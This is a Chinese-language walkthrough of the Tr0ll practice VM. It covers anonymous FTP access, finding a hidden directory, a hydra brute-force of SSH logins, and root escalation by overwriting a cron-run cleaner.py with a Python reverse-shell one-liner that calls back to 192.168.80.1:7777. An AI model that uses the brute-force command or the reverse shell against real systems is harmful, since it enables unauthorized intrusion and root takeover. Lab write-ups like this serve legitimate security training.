Tr0ll靶机打靶记录

北京网络安全协会提供的实战靶机,打一下,直接给的vm镜像,打开即可部署

扫一下确认靶机IP,192.168.80.145

扫一下常规端口,然后发现ftp可以匿名登陆

image-20260629133437551

登陆后发现一个浏览包,下载下来看一下

流量包内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
220 (vsFTPd 3.0.2)

USER anonymous

331 Please specify the password.

PASS password

230 Login successful.

SYST

215 UNIX Type: L8

PORT 10,0,0,12,173,198

200 PORT command successful. Consider using PASV.

LIST

150 Here comes the directory listing.
226 Directory send OK.

TYPE I

200 Switching to Binary mode.

PORT 10,0,0,12,202,172

200 PORT command successful. Consider using PASV.

RETR secret_stuff.txt

150 Opening BINARY mode data connection for secret_stuff.txt (147 bytes).
226 Transfer complete.

TYPE A

200 Switching to ASCII mode.

PORT 10,0,0,12,172,74

200 PORT command successful. Consider using PASV.

LIST

150 Here comes the directory listing.
226 Directory send OK.

QUIT

221 Goodbye.
1
-rw-r--r--    1 0        0             147 Aug 10 00:38 secret_stuff.txt
1
2
3
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P

Sucks, you were so close... gotta TRY HARDER!

下载了secret_stuff.txt,说发现了sup3rs3cr3tdirlol,在ftp里面尝试下载或者打开目录都不太行。这个意思是supersecretdirlol,秘密目录,去http服务那访问这个目录试试,果然有个二进制文件可以下载:

直接交给codex + ida-script-mcp进行分析:先在IDA里面加载二进制文件和插件

使用codex调研mcp服务直接开始分析:

最后结果:Find address 0x0856BF to proceed

这里真不知道怎么利用了,看了WP,发现还是隐藏目录,有点抽象。。。

内容分别是:

user:

1
2
3
4
5
6
7
8
9
10
maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow

password:

1
Good_job_:)

都手工测试了一遍,连不上,尝试hydra爆破:这个账密也是无语了。。。

1
2
3
hydra -L user.txt -p Pass.txt 10.211.55.32 ssh

[22][ssh] host: 10.211.55.32 login: overflow password: Pass.txt

如何提权,先跑一遍脚本,发现下载不了,没有权限,写入tmp目录发现运行不了,但是发现每5分钟都会定时断开ssh连接,可能是提示我们看定时任务:

image-20260629143724764

不能直接crontab -e,那就查看一下日志,提到了cleaner.py,如果这个py文件能编辑,就可以反弹shell拿到root权限。

1
2
3
4
$ cat /var/log/cronlog
*/2 * * * * cleaner.py
$ find / -name cleaner.py
/lib/log/cleaner.py

尝试vi /lib/log/cleaner.py!wq成功强制保存。

修改为

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.1",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])

成功拿到root:

这个靶机没有太多知识点,更类似CTF,通过联想目录发现下一步,通过定时任务发现提权路径,没什么学习的地方,打了就记录一下。